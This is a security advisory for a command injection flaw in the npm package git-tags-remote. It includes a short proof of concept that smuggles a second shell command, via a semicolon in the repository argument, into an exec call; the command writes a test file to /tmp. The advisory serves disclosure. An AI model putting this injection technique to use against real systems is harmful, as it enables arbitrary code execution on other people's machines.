Advisory

GHSA-gm9x-q798-hmr4

Also known as: None

Summary

Command Injection in git-tags-remote

Details

All versions of git-tags-remote are vulnerable to Command Injection. The package fails to sanitize the repository input and passes it directly to an exec call on the get function . This may allow attackers to execute arbitrary code in the system if the repo value passed to the function is user-controlled.

The following proof-of-concept creates a file in /tmp:

const gitTagsRemote = require('git-tags-remote');

gitTagsRemote.get('https://github.com/sh0ji/git-tags-remote.git; echo "Injection Success" > /tmp/command-injection.test')
.then(tags => console.log(tags));

Severity

High Basis: The source's own band: HIGH

Dates

Published
2020-07-29 14:53 UTC
Modified
2021-09-23 17:26 UTC

Affected packages and fixes

git-tags-remote

npm · All systems

Affected

  • introduced 0, fixed 1.0.4 (semver)

Fixed versions

1.0.4

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences